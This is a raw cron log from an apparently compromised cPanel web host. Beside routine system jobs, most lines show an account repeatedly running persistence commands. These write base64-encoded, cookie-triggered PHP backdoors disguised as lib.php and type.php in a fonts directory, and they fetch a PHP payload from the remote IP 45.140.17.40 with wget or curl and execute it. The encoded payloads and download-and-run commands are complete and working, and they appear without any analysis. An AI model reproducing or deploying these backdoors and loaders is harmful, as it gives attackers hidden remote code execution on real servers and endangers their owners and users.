Sep  9 19:05:01 ip-184-168-122-23 CROND[32672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:06:01 ip-184-168-122-23 CROND[414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:06:01 ip-184-168-122-23 CROND[415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:06:01 ip-184-168-122-23 CROND[413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:06:01 ip-184-168-122-23 CROND[412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:06:01 ip-184-168-122-23 CROND[416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:07:01 ip-184-168-122-23 CROND[525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:07:01 ip-184-168-122-23 CROND[526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:07:01 ip-184-168-122-23 CROND[527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:07:01 ip-184-168-122-23 CROND[532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:08:01 ip-184-168-122-23 CROND[623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:08:01 ip-184-168-122-23 CROND[628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:08:01 ip-184-168-122-23 CROND[626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:08:01 ip-184-168-122-23 CROND[627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:08:01 ip-184-168-122-23 CROND[630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:09:01 ip-184-168-122-23 CROND[730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:09:01 ip-184-168-122-23 CROND[736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:09:01 ip-184-168-122-23 CROND[735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:09:01 ip-184-168-122-23 CROND[739]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 19:09:01 ip-184-168-122-23 CROND[741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:10:01 ip-184-168-122-23 CROND[1004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:10:01 ip-184-168-122-23 CROND[1005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:10:01 ip-184-168-122-23 CROND[1009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:10:01 ip-184-168-122-23 CROND[1008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:10:01 ip-184-168-122-23 CROND[1006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:10:01 ip-184-168-122-23 CROND[1012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:10:01 ip-184-168-122-23 CROND[1010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:10:01 ip-184-168-122-23 CROND[1007]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:11:01 ip-184-168-122-23 CROND[1194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:11:01 ip-184-168-122-23 CROND[1196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:11:01 ip-184-168-122-23 CROND[1197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:11:01 ip-184-168-122-23 CROND[1200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:12:01 ip-184-168-122-23 CROND[1277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:12:01 ip-184-168-122-23 CROND[1279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:12:01 ip-184-168-122-23 CROND[1282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:12:01 ip-184-168-122-23 CROND[1280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:12:01 ip-184-168-122-23 CROND[1281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:13:01 ip-184-168-122-23 CROND[1376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:13:01 ip-184-168-122-23 CROND[1377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:13:01 ip-184-168-122-23 CROND[1378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:13:01 ip-184-168-122-23 CROND[1379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:14:01 ip-184-168-122-23 CROND[1508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:14:01 ip-184-168-122-23 CROND[1510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:14:01 ip-184-168-122-23 CROND[1509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:14:01 ip-184-168-122-23 CROND[1511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:14:01 ip-184-168-122-23 CROND[1512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:15:01 ip-184-168-122-23 CROND[1632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:15:01 ip-184-168-122-23 CROND[1632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:15:01 ip-184-168-122-23 CROND[1635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:15:01 ip-184-168-122-23 CROND[1637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:15:01 ip-184-168-122-23 CROND[1639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:15:01 ip-184-168-122-23 CROND[1638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:15:01 ip-184-168-122-23 CROND[1634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:16:01 ip-184-168-122-23 CROND[1837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:16:01 ip-184-168-122-23 CROND[1839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:16:01 ip-184-168-122-23 CROND[1840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 19:16:01 ip-184-168-122-23 CROND[1841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:16:01 ip-184-168-122-23 CROND[1843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:16:01 ip-184-168-122-23 CROND[1845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:17:01 ip-184-168-122-23 CROND[1961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:17:01 ip-184-168-122-23 CROND[1963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:17:01 ip-184-168-122-23 CROND[1964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
